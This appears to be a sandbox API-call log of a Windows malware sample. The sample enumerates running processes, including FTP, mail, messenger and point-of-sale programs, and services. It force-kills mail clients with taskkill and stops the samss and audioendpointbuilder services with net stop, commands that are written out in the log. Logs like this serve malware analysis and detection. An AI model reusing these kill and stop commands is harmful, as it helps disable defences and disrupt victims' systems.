	[0131.376] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0131.517] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="calculate-hung.exe")) returned 1
	[0131.520] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM calculate-hung.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0134.935] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0134.938] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0134.942] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0134.945] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0134.948] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0134.951] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0134.954] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0134.958] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0134.961] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0134.964] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0134.967] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0134.970] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0134.973] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0134.976] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0134.979] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0134.982] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0134.985] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0134.988] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0134.992] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0134.995] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0134.998] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0135.002] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0135.005] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM outlook.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0137.764] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0137.766] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0137.769] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0137.772] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0137.775] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0137.777] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM thunderbird.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0138.633] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0138.916] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0138.919] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0138.923] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0138.926] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0138.929] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0138.932] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0138.936] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0138.939] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0138.942] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0138.945] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0138.947] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0138.950] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0138.953] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0138.956] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0138.959] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0139.104] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0139.107] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0139.109] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0139.112] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0139.114] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0139.117] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0139.120] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0139.123] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0139.125] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0139.128] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0139.130] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0139.133] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0139.135] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0139.138] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0139.141] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="hovnalknslan.exe")) returned 0
	[0139.142] CloseHandle (hObject=0x168) returned 1
	[0139.143] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f0220
	[0139.269] EnumServicesStatusW (in: hSCManager=0x3f0220, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 0
	[0139.276] VirtualAlloc (lpAddress=0x0, dwSize=0x1838, flAllocationType=0x1000, flProtect=0x40) returned 0xe0000
	[0139.277] EnumServicesStatusW (in: hSCManager=0x3f0220, dwServiceType=0x30, dwServiceState=0x1, lpServices=0xe0000, cbBufSize=0x1838, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0xe0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 1
	[0139.280] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"audioendpointbuilder\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0141.708] Sleep (dwMilliseconds=0x96) 
	[0141.957] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0143.754] Sleep (dwMilliseconds=0x96) 
	[0145.169] VirtualFree (lpAddress=0xe0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0145.170] Sleep (dwMilliseconds=0xc350) 
	[0156.893] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x3a0
	[0157.401] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0157.404] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0157.407] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0157.410] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0157.414] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0157.417] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0157.420] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0157.424] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0157.426] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0157.733] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0157.736] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.740] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.744] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
